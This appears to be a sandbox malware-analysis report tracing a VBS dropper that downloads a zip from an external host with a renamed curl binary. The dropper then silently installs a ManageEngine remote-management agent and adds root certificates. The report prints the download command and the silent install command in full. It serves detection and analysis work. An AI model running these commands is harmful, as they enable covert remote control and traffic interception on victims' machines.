\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcondemand.exe - Modifies registry class 23 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Public\\Documents\\Data48376\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "44C40189C3AA44442AA780ED114A0026" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "167772210" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Public\\Documents\\Data48376\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C7596BDC16A4FE1F95BB946C9D0BA1BBCD2D8AB2 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\61B8551E065AF0171F7E7E7A92A587DEC2CDE83D dcagentregister.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3444 msiexec.exe Token: SeIncreaseQuotaPrivilege 3444 msiexec.exe Token: SeSecurityPrivilege 2820 msiexec.exe Token: SeCreateTokenPrivilege 3444 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3444 msiexec.exe Token: SeLockMemoryPrivilege 3444 msiexec.exe Token: SeIncreaseQuotaPrivilege 3444 msiexec.exe Token: SeMachineAccountPrivilege 3444 msiexec.exe Token: SeTcbPrivilege 3444 msiexec.exe Token: SeSecurityPrivilege 3444 msiexec.exe Token: SeTakeOwnershipPrivilege 3444 msiexec.exe Token: SeLoadDriverPrivilege 3444 msiexec.exe Token: SeSystemProfilePrivilege 3444 msiexec.exe Token: SeSystemtimePrivilege 3444 msiexec.exe Token: SeProfSingleProcessPrivilege 3444 msiexec.exe Token: SeIncBasePriorityPrivilege 3444 msiexec.exe Token: SeCreatePagefilePrivilege 3444 msiexec.exe Token: SeCreatePermanentPrivilege 3444 msiexec.exe Token: SeBackupPrivilege 3444 msiexec.exe Token: SeRestorePrivilege 3444 msiexec.exe Token: SeShutdownPrivilege 3444 msiexec.exe Token: SeDebugPrivilege 3444 msiexec.exe Token: SeAuditPrivilege 3444 msiexec.exe Token: SeSystemEnvironmentPrivilege 3444 msiexec.exe Token: SeChangeNotifyPrivilege 3444 msiexec.exe Token: SeRemoteShutdownPrivilege 3444 msiexec.exe Token: SeUndockPrivilege 3444 msiexec.exe Token: SeSyncAgentPrivilege 3444 msiexec.exe Token: SeEnableDelegationPrivilege 3444 msiexec.exe Token: SeManageVolumePrivilege 3444 msiexec.exe Token: SeImpersonatePrivilege 3444 msiexec.exe Token: SeCreateGlobalPrivilege 3444 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 3388 7za.exe Token: 35 3388 7za.exe Token: SeSecurityPrivilege 3388 7za.exe Token: SeSecurityPrivilege 3388 7za.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeDebugPrivilege 5008 dcusbsummary.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe Token: SeTakeOwnershipPrivilege 2820 msiexec.exe Token: SeRestorePrivilege 2820 msiexec.exe - Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 1380 dcagenttrayicon.exe 1380 dcagenttrayicon.exe 4668 dcagenttrayicon.exe 4668 dcagenttrayicon.exe - Suspicious use of SendNotifyMessage 4 IoCs
pid Process 1380 dcagenttrayicon.exe 1380 dcagenttrayicon.exe 4668 dcagenttrayicon.exe 4668 dcagenttrayicon.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5008 dcusbsummary.exe - Suspicious use of WriteProcessMemory 51 IoCs
description pid Process procid_target PID 892 wrote to memory of 4488 892 WScript.exe 85 PID 4488 wrote to memory of 1544 4488 cmd.exe 87 PID 892 wrote to memory of 3160 892 WScript.exe 95 PID 3160 wrote to memory of 4604 3160 wscript.exe 96 PID 4604 wrote to memory of 3444 4604 wscript.exe 97 PID 2820 wrote to memory of 4112 2820 msiexec.exe 101 PID 2820 wrote to memory of 1668 2820 msiexec.exe 102 PID 1668 wrote to memory of 3388 1668 dcagentregister.exe 103 PID 1668 wrote to memory of 1544 1668 dcagentregister.exe 109 PID 1544 wrote to memory of 3960 1544 cmd.exe 111 PID 1668 wrote to memory of 2400 1668 dcagentregister.exe 114 PID 1668 wrote to memory of 3832 1668 dcagentregister.exe 116 PID 4204 wrote to memory of 5008 4204 dcagentservice.exe 119 PID 4204 wrote to memory of 5044 4204 dcagentservice.exe 120 PID 5008 wrote to memory of 4512 5008 dcusbsummary.exe 122 PID 4204 wrote to memory of 4516 4204 dcagentservice.exe 124 PID 4204 wrote to memory of 3064 4204 dcagentservice.exe 125 PID 4204 wrote to memory of 4796 4204 dcagentservice.exe 127 PID 4204 wrote to memory of 2216 4204 dcagentservice.exe 130 PID 3832 wrote to memory of 4264 3832 dcinventory.exe 132 PID 4204 wrote to memory of 2616 4204 dcagentservice.exe 133 PID 2616 wrote to memory of 224 2616 dcconfig.exe 135 PID 4204 wrote to memory of 3896 4204 dcagentservice.exe 139 PID 4204 wrote to memory of 3340 4204 dcagentservice.exe 144 PID 2616 wrote to memory of 3100 2616 dcconfig.exe 145 PID 2616 wrote to memory of 3468 2616 dcconfig.exe 147 PID 4204 wrote to memory of 3920 4204 dcagentservice.exe 148 PID 2616 wrote to memory of 2032 2616 dcconfig.exe 150 PID 2616 wrote to memory of 412 2616 dcconfig.exe 152 PID 2616 wrote to memory of 3968 2616 dcconfig.exe 154 PID 2616 wrote to memory of 468 2616 dcconfig.exe 156 PID 2616 wrote to memory of 4768 2616 dcconfig.exe 158 PID 2616 wrote to memory of 2776 2616 dcconfig.exe 160 PID 2616 wrote to memory of 4016 2616 dcconfig.exe 162 PID 2616 wrote to memory of 2316 2616 dcconfig.exe 164 PID 2316 wrote to memory of 3648 2316 meaap.exe 166 PID 3648 wrote to memory of 2776 3648 meaaphelper.exe 168 PID 3648 wrote to memory of 3824 3648 meaaphelper.exe 170 PID 3648 wrote to memory of 1380 3648 meaaphelper.exe 171 PID 3648 wrote to memory of 204 3648 meaaphelper.exe 172 PID 3660 wrote to memory of 3436 3660 uesAgentService.exe 175 PID 5044 wrote to memory of 3968 5044 svchost.exe 178 PID 3660 wrote to memory of 3412 3660 uesAgentService.exe 179 PID 3660 wrote to memory of 2220 3660 uesAgentService.exe 181 PID 3660 wrote to memory of 4264 3660 uesAgentService.exe 183 PID 4264 wrote to memory of 2936 4264 uesDevCtrlSummary.exe 185 PID 3648 wrote to memory of 1804 3648 meaaphelper.exe 188 PID 3648 wrote to memory of 4668 3648 meaaphelper.exe 189 PID 2316 wrote to memory of 4020 2316 meaap.exe 190 PID 4020 wrote to memory of 204 4020 meaaphelper.exe 192 PID 4020 wrote to memory of 2228 4020 meaaphelper.exe 194
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ZIP_Deploy.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:892 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Data48376\shlwapi.dll -k -s -L -o "C:\Users\Public\Documents\Data48376\tmp998.zip" https://cayif.hellokism.click/Lfic11e.zip2⤵
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Users\Public\Documents\Data48376\shlwapi.dllC:\Users\Public\Documents\Data48376\shlwapi.dll -k -s -L -o "C:\Users\Public\Documents\Data48376\tmp998.zip" https://cayif.hellokism.click/Lfic11e.zip3⤵
- Executes dropped EXE
PID:1544
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Data48376\setup1.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Data48376\setup1.vbs" /elevated3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\Data48376\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\Data48376\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\Data48376\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\Data48376\DMRootCA.crt" /qn4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3444
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4E19A50D20E6FE4393E48EE264546E452⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4112
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3388
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe4⤵
- System Location Discovery: System Language Discovery
- Gathers system information
PID:3960
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2400
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:3832 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exemetroapps.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4264
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3408
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3516
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:4512
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5044
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4516
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3064
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4796
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2216
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:224
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:3100
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -s3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:3468
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2032
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:412
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3968
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:468
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4768
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2776
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4016
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 24⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" bin\dccomponentregister.dll5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2776
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r5⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:3824
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1380
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip"5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:204
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r5⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:1804
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4668
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 24⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" bin\dccomponentregister.dll5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:204
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2228
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:3896
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3340
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3920
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵PID:1420
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
